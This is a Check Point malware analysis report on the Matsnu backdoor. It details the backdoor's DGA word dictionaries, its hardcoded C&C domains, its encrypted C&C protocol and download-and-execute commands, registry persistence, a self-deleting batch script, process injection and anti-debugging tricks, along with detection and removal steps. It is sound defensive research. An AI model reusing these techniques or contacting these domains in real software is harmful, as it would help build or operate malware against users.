Check Point
SOFTWARE TECHNOLOGIES LTD.

WE SECURE THE FUTURE

MATSNU

Malware ID

15/05/2015

Researcher: Stanislav Skuratovich

Research includes	**Malware Overview**
1. Communication signature 2. Malware operation 3. Detection, Remediation and Removal 4. Additional info 5. Appendix	The Matsnu malware is an x86 infector that acts as a backdoor after it infiltrates a computer system. The malware uses DGA to communicate with the C&C server. This technique protects the malware image from any attempted string dumping, blacklisting dumped domains, or shutting down domains. Matsnu has a number of anti-disassembling features and packing techniques which make the analysis process more challenging.

Communications signature

C&C URLs

Matsnu has a hardcoded list of domains. It also has the ability to generate new domains via DGA**,** using two predefined dictionaries. See **DGA** for more details. The hardcoded domains include:

```
ability-counter.com
accident-muscle.com
airportwake-money.com
ambition-lawyer.com
art-spite-tune.com
assignmentrent.com
attempttune-temperature.com
beachloose-appeal.com
bedwater-spite.com
bicyclereply.com
bite-team-indication.com
black-meet-fat.com
bone-twist-swimming.com
brain-recommend.com
bugeffect-garbage.com
camp-reason-shoe.com
camp-shelter.com
candidate-refuse.com
caproom-purpose.com
champion-charge.com
choice-warn-ease.com
cluelist-midnight.com
codesail-staff.com
committeerange.com
condition-title.com
conference-shower.com
coursetrust-rule.com
courtdecide-fun.com
credit-peak-blow.com
databasepiece.com
date-star-bake.com
departureloves.com
devilblue-subject.com
diet-commit-garden.com
dishcow-catcondition.com
door-smoke-class.com
dot-take-article.com
dust-market-library.com
face-fail-note.com
farm-pin-brain.com
feature-commit.com
finger-space.com
flowerdie-reason.com
flowertest-tool.com
foodproposed.com
foot-value-specialist.com
functionstable.com
gearbank-craft.com
gearovercome.com
```



```
goldagree-pack.com
holebone-series.com
insectstore-comfort.com
instruction-suppose.com
kuzjutr.com
kzaop-home.com
laddercycle-essay.com
lawyersit-direction.com
leather-celebrate.com
lifestaff-historian.com
loanhesitate.com
machinecatch.com
map-dump-path.com
mark-quarter.com
material-interview.com
metal-pace-purple.com
metal-pacpurple.com
midnightdrivers.com
modelspread-process.com
neckreach-boy.com
neckreachboys.com
nereachboys.com
nothingpaint.com
oilcurve-economy.com
oilcurveeconomys.com
order-hold-salt.com
orders-holdsalt.com
paintcourt-edge.com
paintfinance.com
pairdetermin-online.com
pairdetermine.com
park-expect-register.com
penaltypin-pipe.com
peopleretire.com
period-influence.com
phrase-smile.com
piano-bear-letter.com
player-determine.com
profession-become.com
quantity-throw.com
question-exist.com
shape-blame-iron.com
shareeffect-affair.com
skysolve-lunch.com
speakerget-button.com
stress-consider.com
stuff-camp-research.com
troublepace-summer.com
uncle-district.com
uncle-implement.com
vegetable-ease.com
vehicledistance.com
video-meet-brick.com
warcelebrate.com
wineapologize.com
wineoperate-meaning.com
```

DGA

To generate domains, the malware uses two predefined dictionaries, a few constants and variables, and the number of days since the epoch. Domains are generated for the current day as well as the previous two days, and encrypted for later use. The malware tries to connect the hardcoded domains and the domains generated for the current and previous two days. The algorithm and the dictionaries' content can be found in **Appendix A**.

Communication encryption with the C&C server

Client side

Each packet sent by the client to the C&C server is encrypted using an RSA public key and stored in memory. After encryption, the data is base64 encoded and sent as an HTTP packet content to the server.

Server side

Each packet received by the client from the C&C server is encrypted using AES and a manual encryption routine. The AES key is generated by the client side and sent to the server using an **AES=%s** parameter. The server encrypts the content of each packet, starting from the 16th byte, with the following key:

```
Key = SHA-256(${received_key} + ${predef_key})
```

The first 16 bytes are used to perform a mathematical XOR operation on bytes 16 - 32 on the AES decrypted packet. The decryption routine pseudo code is shown in **Appendix B** (`decrypt_received_data`).

Initial communication with the C&C server

To send information from the infected machine to the C&C server, the malware fills a predefined string, shown below. Base64 encode sum calculation is performed on this string (further `GET_KEY`). Next, the following routine generates a resource parameters query for the C&C server URL (further `RESOURCE_QUERY_PARAM`):

```
id=%s&mynum=%u&ver=%s&cvr=%u&threadid=%u&lang=0x%04X&os=%s&crcblw=%08x&get=sysinfo
```

```
def gen_resource_params_query():
  params_number = random.randint(0x1, 0x5)
  query_par = '?'
  for i in range(params_number):
    query_param += generate_random_n_key(random.randint(0x2, 0x5))
    query_param += some_rand_gen_val_func() + '&'
  query_par = query_par[:-1]

  return query_par
```

The malware creates a parameter that stores the initial packet configuration information. See **Malware Operation: Execution Process**.

```
sysinfo=base64_encode(${system_info})
```

The malware then performs key generation, using the `generate_alpha_key(rand(0x20, 0x40))`, also called `AES_KEY`. See **Execution Process: Main Operation**.

The malware generates a new string (also called `PACKET`):

```
GET=${GET_KEY}&AES=${AES_KEY}&sysinfo=${sysinfo}
```

PACKET is encrypted using an RSA public key. It is base64 encoded before the encrypted data is sent via HTTP protocol. Next, a random string is generated and is used as the name of the variable:

```
${enc_data_query_param}=${encrypted_packet_base64}
```

The malware sends a packet to the C&C server and waits for a response. The following URL is used:

```
(http|ftp|htpps)://${domain-name}/${resource}${RESOURCE_QUERY_PARAM}
```

The default value for `${resource}` is "*im.php*"

After a response packet is received, AES decryption routine is performed using a SHA-256 generated key. The decrypted packet is validated via a few validation routines. The pseudo code of the entire communication routine is shown in **Appendix B**. The malware stops querying domains after a valid packet is received. If such an event occurred, the infected process creates a thread that is responsible for generating domains for the current and previous two days, and starts the main communication loop with the C&C server.

Communication protocol with the C&C server

Client side

Each packet sent to the C&C server has the following structure (before full encryption):

```
GET=%s&AES=%s&%s=%s
```

Parameter descriptions:

PARAMETER	DESCRIPTION
GET	Base64 encoded information that identifies the infected computer, configuration and command. See **Infected machine identification information** for a full description.
AES	Randomly generated key [0x20, 0x40] bytes in length. Used for server side encryption and client side decryption of received packets (`generate_alpha_key(rand(0x20, 0x40))`. See **Malware Operation: Execution Process**.
%s (optional)	Base64 encoded additional information for specified commands. See **Additional info** for a full description.

Infected machine identification information

Identification information for the infected machine is shown as follows:

```
id=%s&mynum=%u&ver=%s&cvr=%u&threadid=%u&lang=0x%04X&os=%s&crcblw=%08x&%s
```

Parameter descriptions:

PARAMETER	DESCRIPTION
id	Unique infected machine ID (`gen_unique_id()`). See **Malware Operation: Execution Process**.
mynum	??? (For analyzed sample 0).
ver	Malware version (analyzed sample "*ldr2002*").
cvr	??? (For analyzed sample 16).
threadid	Thread ID of infected thread.
lang	System default language.
os	Operating system version (subsystem and platform).
crcblw	??? Possible CRC32 sum of blacklisted words.
%s (optional)	Command string. Possible command strings are shown in the **Command strings** table below.

Command strings

PARAMETER	DESCRIPTION
`get=sysinfo`	Send system info to the server.
`get=cmd`	Send the C&C server command response.
`get=raport`	R(e)?port status code information.
`get=config`	Ready to send information about loaded DLLs and processes.

Additional information

PARAMETER	APPENDED DATA TO GET=%S&AES=%S	DESCRIPTION
`get=sysinfo`	sysinfo=%s	System information. See **Malware Operation: Execution Process**.
`get=cmd`	dlllist=%s&proclist=%s	List of requested files in the file system and list of system processes.
`get=config`	-	-
`get=config`	idt=%u&code=%u	Field "*idt*" represents an identifier sent by the C&C with the operation request. Field "*code*" represents the operation status code.

Server side

Each packet received from the C&C server (after full decryption) has the following structure:

```
struct matsnu_cc_packet {
  std::string command;
  uint32_t    data_length;
  uint32_t    crc32_data_checksum;
  std::string data;
};
```

Packet validation pseudo code is represented in the `packet_validate()` routine. See **Appendix B.**

The malware supports these commands:

COMMAND (string)	VALUE	DESCRIPTION
WAIT	0x01	Wait for the command.
CONFIG	0x0A	Send configuration information, such as a request for files present in the file system, running processes, and new blacklisted words.
UPGRADE	0x34	Download data from the specified URL. After the download is complete, it functions as an UPGRADE command.
EXECUTE	0x36	Execute data specified in the parameter.
LOAD	0x37	Download data from the specified URL. After the download is complete, it functions as an EXECUTE command.

CONFIG

CONFIG packet data field accepted wordlist:

ROUTINE (STRING)	DESCRIPTION
WAIT	Wait for the command.
--- WAIT ---	Wait for the command.
DLLLIST	Specifies names of files. If at least one specified file is present in the system, information is sent to the C&C server with a list of the files present.
PROCLIST	Specifies names of processes. If at least one specified process is present in the system, information is sent to the C&C server with a list of the processes present.
BLWORDS	Adds specified blacklisted words to the `{GUID}.tmp` file in encrypted form, using AES and manual mathematical XOR encryption.

The data format:

```
BLWORDS:${LIST_OF_BLACKLIST_WORDS(SEPARATOR:,)}--BLWORDS
DLLLIST:${LIST_OF_PRESENCE_CHECK_FILES(SEPARATOR:|)}--DLLLIST
PROCLIST:${LIST_OF_PRESENCE_CHECK_PROCESSES(SEPARATOR:|)}--PROCLIST
```

UPGRADE, UPGRADEURL, EXECUTE, LOAD commands

The UPGRADE, UPGRADEURL, EXECUTE, and LOAD packets data field must have this format:

```
${operation_id}:${operation_data}
```

One of the restrictions for the packet is that the length of the `${operation_id} + ':'` string must be less than `0xB` bytes.
`${operation_data}` can be sent by the C&C server in three formats:

- Binary.
- RCPK. See **RCPK data format description**.
- URL.

Accepted formats for each command:

COMMAND	${OPERATION_DATA} ACCEPTED FORMATS
UPGRADE	Binary data or RCPK format data.
UPGRADEURL	URL.
EXECUTE	Binary data or RCPK format data.
LOAD	URL.

General error codes:

ERROR CODE	DESCRIPTION
0x0	Success.
0x14	Error while communicating with specified URL.
0x29a	Empty packet received.
0x3e6	`${operation_id}` field overflow length boundaries.
0x3e7	Invalid received packet format (':' is missing).

RCPK data format description

RCPK data format structure:

```
struct execute_rcpk_packet {
  struct hdr {
    char magic[4] = { 'R', 'C', 'P', 'K' };
    uint32_t a;
    uint32_t magic_byte;
    uint32_t size_1;
    uint32_t size_2;
  };
  char signature[0x100];
  std::string data;
};
```

This routine is used to check if the specified data is RCPK (valid) format data:

```
def is_execute_rcpk_packet(rcpk, rcpk_size):
  if rcpk.hdr.magic != 'RCPK':
    return (0x0, rcpk)
  if rcpk.hdr.size_1 + rcpk.hdr.size_2 + 0x14 != rcpk_size:
    return (0x1, None)
  sign = rcpk[0x14:0x114]
  data = rcpk[0x114:]
  md5sum = md5.new(data)
  if verify_key_sign(pub_key, sign, md5sum):
    return (0x2, None)
  return (0x0, decrypt(pub_key, data))
```

After parsing the RCPK packet type, the next steps are based on the `magic_byte` field in the header structure. The entire incoming packet parsing routine:

```
def parse_packet(data):
  rcpk_packet_info = is_execute_rcpk_packet(data, len(data))
  if rcpk_packet_info[0] != 0x0:
    return data
  rcpk_packet = rcpk_pakcet_info[1]
  if rcpk_packet.hdr.magic_byte != 0x1:
    return rcpk.data
  return is_execute_lzw_data(rcpk.data)
```

LZW structure and its parsing procedure:

```
struct execute_lzw_data {
  char magic[4] = { 'L', 'Z', 'W', '!' };
  uint32_t size;
  std::string data;
};
```

```
def is_execute_lzw_data(lzw_data, lzw_data_size):
  if rcpk_data_size < 0xd:
    return 0
  if rcpk_data.magic != 'LZW!':
    return 0
  return manual_decrypt(rcpk_data.data)
```


UPGRADE

This command, responsible for starting a binary, is received from the C&C server. Binary data is stored on the disc. If the size of the binary data is greater than or equal to `0x14`, an RCPK data format check is made. If the packet parsing succeeds, the decrypted data is placed as content in the new `%TEMP%` folder file.

If the packet size is less than `0x14` bytes, the malware creates a file in the `%TEMP%` folder and writes the received data to that file.

```
{%08X-%04X-xxx}.exe
```

After successful file creation, the malware tries to create a key in this registry entry:

```
Key: "Software\Microsoft\Windows\CurrentVersion\RunOnce":
Value: {%08X-%04X-%s} = $PATH_TO({%08X-%04X-xxx}.exe)
```

To submit an upgrade, the malware attempts to reboot the operating system with this command:

```
shutdown.exe -r -f -t 0
```

Error codes returned by the command:

ERROR CODE	DESCRIPTION
0x0	Success.
0xfa1	RCPK invalid format.
0xfa2	RCPK data decryption failed.
0xfa3	RCPK data magic is invalid.
0xfa4	RCPK LZW structure parsing failed.
0xfa5	Unable to create a file in `%TEMP%` folder.
0xfa6	Unable to create new subkey in `"Software\Microsoft\Windows\CurrentVersion\RunOnce".`
0xfa7	Unable to set a registry key value.
0x1776	Unable to allocate memory.

UPGRADEURL

This command is responsible for downloading data from a specified URL. If the download operation was successful, this command functions like the UPGRADE command.

Error codes returned by the command are the same as those returned by the UPGRADE command. See **UPGRADE**.

EXECUTE

This command is responsible for executing the data sent by the C&C server. If the size of the binary data is greater than or equal to `0x14`, an RCPK data format check is made. If the packet parsing succeeds, the decrypted data is placed as content in the new `%TEMP%` folder file.

If the packet size is less than `0x14` bytes, the malware creates a file in `%TEMP%` folder and writes the received data to that file.

```
{%08X-%04X-%2X}
```

After successful file creation, the malware attempts execution.

Error codes returned by the command routine:

ERROR CODE	DESCRIPTION
0x0	Success.
0x1	RCPK invalid format.
0x2	RCPK data decryption failed.
0x3	RCPK data magic is invalid.
0x4	RCPK LZW structure parsing failed.
0x5	Unable to create a file in `%TEMP%` folder.
0x6	Unable to execute a newly created file (error <= "*ERROR_SHARING_VIOLATION*").

LOAD

This command is responsible for downloading data from the specified URL. If the download operation was successful, this command functions like the EXECUTE command.

Error codes returned by the command are the same as those returned by the EXECUTE command. See **EXECUTE**.

Main communication loop

The main communication loop between the infected computer and the C&C server performs simple actions that parse received data and send responses to the server. The pseudo code can be found in **Appendix C**.

Malware Operation

Installation

The malware must perform a few allocating and deallocating memory operations to unpack its code and data. We assume the malware is packed a few times via manual and UPX packers, as two UPX sections appeared after the initial decryption routine. After full unpacking, the code looks like trash code because of the many jumps to other instruction addresses and the mix of code with data. Many functions have the same anti-disassembling technique. See **Concealment: Anti-Analysis & Anti-Reverse Engineering Code**.

After all the decryption steps are complete, the process lands on the new entry point and performs these steps to start the infection routine:

1. Fill import table with function addresses from libraries.
2. Create two mutexes:

```
MAIN${crc32(fileimage)}MUTEX

COPY${crc32(filename)}MUTEX
```

3. Create a child process (the same executable file).
4. Select a new process name that will start in a suspended state. The malware has a predefined base64-encoded and encrypted list of processes. The infected process name is chosen using a random generator. See the list of decrypted predefined processes in **Appendix E** and the decryption algorithm in **Appendix D**.
5. Allocate two memory chunks with sizes 0x50 and 0x13e00 bytes in the newly created process. Copy the code in the newly allocated region of memory. (The first payload is a trampoline, and the second one is the malware image).
6. Duplicate two handles to the newly created process space: the current process handle and the MAIN mutex handle.
7. Set the newly created process thread context (EIP register is set to the address of the first payload) and resume thread execution.
8. Create a batch file in the current user %TEMP% directory using a random name obtained via a "*GetTickCount*" call. It has the following content:

```
attrib -r -s -h %1
:${rand_label}
del %1
if exist %1 goto ${rand_label}
del %0
```

   (There is an infinite loop to ensure that the file specified in the argument is not removed. At the end, the script removes itself).

   Executes a command ${PATH_TO_BATCH_FILE} ${PATH_TO_MALWARE_FILE}.

9. Sleep for 20 seconds (wait to be killed by the newly created process).

Execution Process

Start of the installation

The infected application begins reading a piece of memory from the parent process and then kills it. Basic information collected includes:

- System time
- Path to system temporary folder
- Path to system folder
- System volume info

Main operation

Appendix D shows the algorithm which decrypts some of the data chunks. **Appendix F** shows data received after the decryption routine.

This key is used for internal data decryption:

```
g?[GU,=)5d<YQnv%&]0i^yU+G:Q0gbP
```

A new folder is created in the system to save the data. For example, the `%LOCALAPPDATA%`, %APPDATA% or `%TEMP%` user folder:

```
${PATH_TO_FOLDER}/${generated_folder_name}/${generated_filename}
```

The folder name is generated using encrypted dictionaries (see **Appendix A**): random entries are taken and decrypted. The decrypted entries are then concatenated with another decrypted string from the dictionary (in our particular malware case this is the *"organization"* string):

```
Organization_?${decrypted_entry_1}
```

The file name is generated in a similar way:

```
organization-?${decrypted_entry_2}
```

The same is true for the registry key name:

```
organization${decrypted_entry_3}
```

The original malware image is copied to a newly created file. The infected process tries to delete the original malware file via the "*DeleteFile*" and "*MoveFileEx"* (which uses "***MOVEFILE_DELAY_UNTIL_REBOOT"*** **flag**) functions.

To make the malware a permanent part of the system, registry keys are then used to save information:

```
Key: "Software\Microsoft\Windows\CurrentVersion\RunOnce" (HKEY_CURRENT_USER)
Value: organization${decrypted_entry_3} = ${path_to_malware}
Key: "Software\Microsoft\Windows\CurrentVersion\Run" (HKEY_CURRENT_USER)
Value: organization${decrypted_entry_3} = ${path_to_malware}
```

A subkey is created to specify the path to the newly-created malware executable.

The malware sets its own permissions on this registry key:

```
“Software\Microsoft\Windows Nt\CurrentVersion\Winlogon” (HKEY_CURRENT_USER)
```

Note: it is not possible to read from or write to a specified key after the operation is performed.

As the malware didn’t write any key to the specified entry, we speculate that this feature can be used by another downloaded malware module from the C&C server.

The malware uses the following mutex to show its presence on the computer:

```
CURRENT${crc32(somedata)}MUTEX
```

The malware starts a new thread that is responsible for checking if the registry key `Run` was changed. If the malware registry entry was changed, the subkey creation operation is performed again. The event name used for this purpose is shown below.

```
RME83921
```

The following operating system and hardware information is collected:

- User name.
- Computer name.
- New malware file time creation.
- Current process id (used to create a {GUID}.tmp file in %TEMP% folder for storing data).
- Windows subsystem version (for example, 5.1.1).
- Windows platform version (for example, 32 or 64).
- User default language and system default language.
- Processor info using “HARDWARE\DESCRIPTION\System\CentralProcessor\” registry key.
- Graphical card information.
- Information about the virtual environment use of registry keys:

  ```
  “HARDWARE\ACPI\DSDT\PTLTD_”
  “HARDWARE\ACPI\DSDT\VBOX__”
  “HARDWARE\ACPI\DSDT\AMIBI”
  ```

- Antivirus presence. See the list of antivirus names in **Appendix F**.
- Drive information in the following format:

  ```
  ${drive_name}\${drive_type} ${free_space_info} ${volume_info}
  ```


If any drive information could not be gathered, it is filled with an empty string. Possible values of each option include:

FIELD	FORMAT STRING	POSSIBLE OPTIONS (DESCRIPTION)
`${drive_type}`	%s	DRIVE_NO_ROOT_DIR DRIVE_REMOVABLE DRIVE_FIXED DRIVE_REMOTE DRIVE_CDROM DRIVE_RAMDISK DRIVE_UNKNOWN
`${free_space_info}`	(%u/%u/%u/%u)	Sectors per cluster Bytes per sector Number of free clusters Total number of clusters
`${volume_info}`	[%08X:%s]	Volume serial number Volume name

The user name, computer name and constant are used in order to generate unique ID (further ID) using hash function and string concatenation. Another ID (further ID2) is generated in the same way, using modified values that were used previously.

The routine responsible for generation:

```
def gen_unique_id(username, computername, unknownname):
  unique_id = ''
  h = hex(hash_func(username))[2:]
  unique_id += '0' * (8 - len(h)) + h
  h = hex(hash_func(computername))[2:]
  unique_id += '0' * (8 - len(h)) + h
  h = hex(hash_func(unknownname))[2:]
  unique_id += '0' * (8 - len(h)) + h
  return unique_id
```

The malware generates a 32-bytes key and calculates the number of days since the epoch. The key generation:

```
def generate_alpha_key(key_len):
  key = ''
  for i in range(key_len):
    sym = random.randint(0, 255)
    if sym < 0x1a:
      sym += 0x41
    else:
      sym -= 0x1a
      sym += 0x61
    key += sym
  return key
```


The malware uses an algorithm described in **Appendix A** to generate domains in the C&C server for the current and previous two days. The start date is set to the previously calculated number of days since the epoch. The malware tries to generate 10 domains per day (plus 20 domains for the previous two days). After generation, the domain name is concatenated with the protocol name and script name:

```
http://${domain-name}/im.php
```

Next, each domain is encrypted with the RC4 algorithm. A previously generated 32-bytes string is used as a key for the encryption routine.

At the end of the preparation routine, the malware tries to create two files in the `%TEMP%` directory using the ID2 string, the MD5 hash algorithm, and the following strings:

```
CHECK_NS_BLACK_LIST_DOMAINS
CHECK_NS_BLACK_LIST_WORDS
```

The newly-created files are used to store encrypted information about blacklisted words (the malware checks the DNS servers' response), and, we speculate, encrypted information about blacklisted domains.

Before the malware initializes a communication with the C&C server, it fills the `matsnu_init` structure:

```
class matsnu_init {
  static std::map<std::string, std::string> opt_val;
  static std::string win_newline = std::string("\r\n");
  void set_option(const std::string &o, const std::string &v) {
    opt_val[o] = v;
  }
  const std::string &get_option(const std::string &o) {
    return win_newline + opt_val[o];
  }
};
```

Data that is sent as a `sysinfo` parameter in the first packet to the C&C server:

```
ID: ${ID}; unique id
Computer name: ${computer_name}; computer name
User name: ${user_name}; user name
Target process: ${proc_name}; name of infected process
Windows version: ${subsystem_version}.${platform_version}; operating system info
SystemLangID: ${system_lang_id}; system default language id in hex from
UserLangID: ${user_lang_id}; user default language id in hex from
CPU: ${cpu_info}; cpu information
GPU: ${gpu_name}; gpu name
VM: ${name_of_virtual_env}; name of detected virtual environment, empty if normal machine
Drives: ${all_drives_info}; all drives information
AV: ${av_name}; name of detected antivirus, empty if wasn't detected
```


Before computer information is sent, it's encoded using a base64 encoding routine and initialization packet creation is performed. For a full description, see **Communication with C&C: Initial communication with C&C server**. The malware then tries to resolve one of the domain names (those that are hardcoded + domains generated for the current and previous two days). If the resolution was successful, the malware attempts to send a packet to the domain and receive a response. If the response was correct, a new thread is started. This thread generates new domains for the current and previous days. The routine can be represented as the following code:

```
def thread_generate_domains():
  while True:
    if date.current_date() != previous_date:
      acquire_mutex(dg_mutex)
      generate_domains()
      release_mutex(dg_mutex)
    else:
      os.sleep(600) ; sleep for 10 minutes
```

The main malware thread starts communication with the C&C server. The protocol is fully described in **Communication with C&C: Communication protocol with C&C server**.

Concealment

Anti-Analysis & Anti-Reverse Engineering Code

To prevent process debugging, the malware uses the following technique: An SEH handler is set on the stack. Next, an `INT1` interrupt is performed (as `OllyDbg` will not pass an exception to an application by default, the flow will go to the exit). To counteract this technique, we generated a `div ebx (ebx = 0)` instruction to set a breakpoint on the SEH routine.

The malware is packed multiple times using manual and UPX encryption. All strings are encrypted and encoded in the process memory. Decryption takes place only when needed by the malware. Source code for the decryption routine can be found in **Appendix D**.

Nearly all malware functions use the same anti-disassembling trick: jump inside the middle of another instruction.

Example:

```
  push ebp
  mov ebp, esp
  sub esp, 0xn
  ; stack initialization
  call get_ip
get_ip:
  pop ebx
  sub ebx, 0xn
  push ebp
  mov ebp, esp
  pop ebp
  lea eax, [ebx + 0xn]
  push eax
  clc
  jb offset
  retn ; jump offset + 1

offset:
```



```
  ; instruction
```

Using simple Python script, we were able to remove this anti-disassembling trick by changing these bytes to a (‘\x90’ * 6) bytes sequence:

```
50        push eax
F8        clc
72 01     jb loc
C3        retn
FF
```


Detection, Remediation and Removal

Detection

Malware presence in the system can be detected by the presence any of the following:

- Mutexes

```
MAIN${crc32}MUTEX
COPY${crc32}MUTEX
CURRENT${crc32}MUTEX
```

- Network traffic. See the hardcoded domains list in **Communication with C&C: URLs of C&C**. DGA script (see **Appendix A**) can be used to generate domains for the current day.
- Lack of permissions to the following registry key:

```
“Software\Microsoft\Windows Nt\CurrentVersion\Winlogon”
```

- Strange entries in the specified registry keys seen below, and evidence that names are created using two predefined dictionaries (see **Appendix A**).

```
"Software\Microsoft\Windows\CurrentVersion\RunOnce"
"Software\Microsoft\Windows\CurrentVersion\Run"
```

Remediation and Removal

To remove malware from the infected computer:

- Kill the infected process (one that generates outgoing network traffic).
- Check registry keys entries to obtain the malware file path in the system.

```
"Software\Microsoft\Windows\CurrentVersion\RunOnce"
"Software\Microsoft\Windows\CurrentVersion\Run"
```

- Remove the file specified by the malware path.
- Remove the registry key entries specified above.
- Take ownership of the following registry key:

```
“Software\Microsoft\Windows Nt\CurrentVersion\Winlogon” (HKEY_CURRENT_USER)
```

Additional Information

Downloader:
Researched sample MD5: 68ee61498006d4eab636e2fab96de59c
Researched sample SHA1: 82d0b65a4687ce3ad5b7a2bec7eb71eaf5c14371

Malware Family Names by Participating AVs (on the moment of scan)

Downloader:
Sample detection by KAV: Backdoor.Win32.Androm.gkrf
Sample detection by AVG: Boxed.DQH

Sample detection by ClamAV: -
Sample detection by BitDefender: Trojan.GenericKD.2212311

Appendix A – DGA and dictionaries

Dictionary 1

people
history
way
art
money
world
information
map
two
family
government
health
system
computer
meat
year
thanks
music
person
reading
method
data
food
understanding
theory
law
bird
literature
problem
software
control
knowledge
power
ability
economics
love
internet
television
science
library
nature
fact
product
idea
temperature
investment
area
society
activity
story
industry
media
thing
oven
community
definition
safety
quality
development
language
management
player
variety
video
week
security
country
exam
movie
organization
equipment
physics
analysis
policy
series
thought
basis
boyfriend
direction
strategy
technology
army
camera
freedom
paper
environment
child
instance
month
truth
marketing
university
writing
article
department
difference
goal
news
audience
fishing
growth
income
marriage
user
combination
failure
meaning
medicine
philosophy
teacher
communication
relation
restaurant
satisfaction
sector
signature
significance
song
tooth
town
vehicle
volume
wife
accident
airport
appointment
arrival
assumption
baseball
chapter
committee
conversation
database
enthusiasm
error
explanation
farmer
gate
girl
hall
historian
hospital
injury
instruction
maintenance
manufacturer
meal
perception
pie
poem
presence
proposal
reception
replacement
revolution
river
son
speech
tea
village
warning
winner
worker
writer
assistance
breath
buyer
chest
chocolate
conclusion
contribution
cookie
courage
dad
desk
drawer
establishment
examination
garbage
grocery
honey
impression
improvement
independence
insect
inspection
inspector
king
ladder
menu
penalty
piano
potato
profession
professor
quantity
reaction
requirement
salad
sister
supermarket
tongue
weakness
wedding

affair
ambition
analyst
apple
assignment
assistant
bathroom
bedroom
beer
birthday
celebration
championship
cheek
client
consequence
departure
diamond
dirt
ear
fortune
friendship
funeral
gene
girlfriend
hat
indication
intention
lady
midnight
negotiation
obligation
passenger
pizza
platform
poet
pollution
recognition
reputation
shirt
sir
speaker
stranger
surgery
sympathy
tale
throat
trainer
uncle
youth
time
work
film
water
example
while
business
study
game
life
form
air
day
place
number
part
field
fish
back
process
heat
hand
experience
job
book
end
point
type
home
economy
value
body
market
guide
interest
state
radio
course
company
price
size
card
list
mind
trade
line
care
group
risk
word
fat
force
key
light
training
name
school
top
amount
level
order
practice
research
sense
service
piece
web
boss
sport
fun
house
page
term
test
answer
sound
focus
matter
kind
soil
board
oil
picture
access
garden
range
rate
reason
future
site
demand
exercise
image
case
cause
coast
action
age
bad
boat
record
result
section
building
mouse
cash
class
nothing
period
plan
store
tax
side
subject
space
rule
stock
weather
chance
figure
man
model
source
beginning
earth
program
chicken
design
feature
head
material
purpose
question
rock
salt
act
birth
car
dog
object
scale
sun
note
profit
rent
speed
style
war
bank
craft
half
inside
outside
standard
bus
exchange
eye
fire
position
pressure
stress
advantage
benefit
box
frame
issue
step
cycle
face
item
metal
paint
review
room
screen
structure
view
account
ball
discipline
medium
share
balance

bit
black
bottom
choice
gift
impact
machine
shape
tool
wind
address
average
career
culture
morning
pot
sign
table
task
condition
contact
credit
egg
hope
ice
network
north
square
attempt
date
effect
link
post
star
voice
capital
challenge
friend
self
shot
brush
couple
exit
front
function
lack
living
plant
plastic
spot
summer
taste
theme
track
wing
brain
button
click
desire
foot
gas
influence
mood
notice
rain
wall
base
damage
distance
feeling
pair
saving
staff
sugar
target
text
animal
author
budget
discount
file
ground
lesson
minute
officer
phase
reference
register
sky
stage
stick
title
trouble
bowl
bridge
campaign
character
club
edge
evidence
fan
letter
lock
maximum
novel
option
pack
park
plenty
quarter
skin
sort
weight
baby
background
carry
dish
factor
fruit
glass
joint
master
muscle
red
strength
traffic
trip
vegetable
appeal
chart
gear
ideal
kitchen
land
log
mother
net
party
principle
relative
sale
season
signal
spirit
street
tree
wave
belt
bench
commission
copy
drop
minimum
path
progress
project
sea
south
status
stuff
ticket
tour
angle
blue
breakfast
confidence
daughter
degree
doctor
dot
dream
duty
essay
father
fee
finance
hour
juice
luck
milk
mouth
peace
pipe
stable
storm
substance
team
trick
afternoon
bat
beach
blank
catch
chain
consideration
cream
crew
detail
gold
interview
kid
mark
mission
pain
pleasure
score
screw
sex
shop
shower
suit
tone
window
agent
band
bath
block
bone
calendar
candidate
cap
coat
contest
corner
court
cup
district
door
east
finger
garage
guarantee

hole
hook
implement
layer
lecture
lie
manner
meeting
nose
parking
partner
profile
rice
routine
schedule
swimming
telephone
tip
winter
airline
bag
battle
bed
bill
bother
cake
code
curve
designer
dimension
dress
ease
emergency
evening
extension
farm
fight
gap
grade
holiday
horror
horse
host
husband
loan
mistake
mountain
nail
noise
occasion
package
patient
pause
phrase
proof
race
relief
sand
sentence
shoulder
smoke
stomach
string
tourist
towel
vacation
west
wheel
wine
arm
aside
associate
bet
blow
border
branch
breast
brother
buddy
bunch
chip
coach
cross
document
draft
dust
expert
floor
god
golf
habit
iron
judge
knife
landscape
league
mail
mess
native
opening
parent
pattern
pin
pool
pound
request
salary
shame
shelter
shoe
silver
tackle
tank
trust
assist
bake
bar
bell
bike
blame
boy
brick
chair
closet
clue
collar
comment
conference
devil
diet
fear
fuel
glove
jacket
lunch
monitor
mortgage
nurse
pace
panic
peak
plane
reward
row
sandwich
shock
spite
spray
surprise
till
transition
weekend
welcome
yard
alarm
bend
bicycle
bite
blind
bottle
cable
candle
clerk
cloud
concert
counter
flower
grandfather
harm
knee
lawyer
leather
load
mirror
neck
pension
plate
purple
ruin
ship
skirt
slice
snow
specialist
stroke
switch
trash
tune
zone
anger
award
bid
bitter
boot
bug
camp
candy
carpet
cat
champion
channel
clock
comfort
cow
crack
engineer
entrance
fault
grass
guy

Dictionary 2

is
are
has
get
see
need
know
would
find
take
want
does
learn
become
come
include
thank
provide
create
add
understand
consider
choose
develop
remember
determine
grow
allow
supply
bring
improve
maintain
begin
exist
tend
enjoy
perform
decide
identify
continue
protect
require
occur
write
approach
avoid
prepare
build
achieve
believe
receive
seem
discuss
realize
contain

follow
refer
solve
describe
prefer
prevent
discover
ensure
expect
invest
reduce
speak
appear
explain
explore
involve
lose
afford
agree
hear
remain
represent
apply
forget
recommend
rely
vary
generate
obtain
accept
communicate
complain
depend
enter
happen
indicate
suggest
survive
appreciate
compare
imagine
manage
differ
encourage
expand
prove
react
recognize
relax
replace
borrow
earn
emphasize
enable
operate

reflect
send
anticipate
assume
engage
enhance
examine
install
participate
intend
introduce
relate
settle
smell
assure
attract
distribute
overcome
owe
succeed
suffer
throw
acquire
adapt
adjust
argue
arise
confirm
encouraging
incorporate
justify
organize
ought
possess
relieve
retain
shut
calculate
compete
consult
deliver
extend
investigate
negotiate
qualify
retire
rid
weigh
arrive
attach
behave
celebrate
convince
disagree
establish

ignore
imply
insist
pursue
remaining
specify
warn
accuse
admire
admit
adopt
announce
apologize
approve
attend
belong
commit
criticize
deserve
destroy
hesitate
illustrate
inform
manufacturing
persuade
pour
propose
remind
shall
submit
suppose
translate
be
have
use
make
look
help
go
being
think
read
keep
start
give
play
feel
put
set
change
say
cut
show
try
check

call
move
pay
let
increase
turn
ask
buy
guard
hold
offer
travel
cook
dance
excuse
live
purchase
deal
mean
fall
produce
search
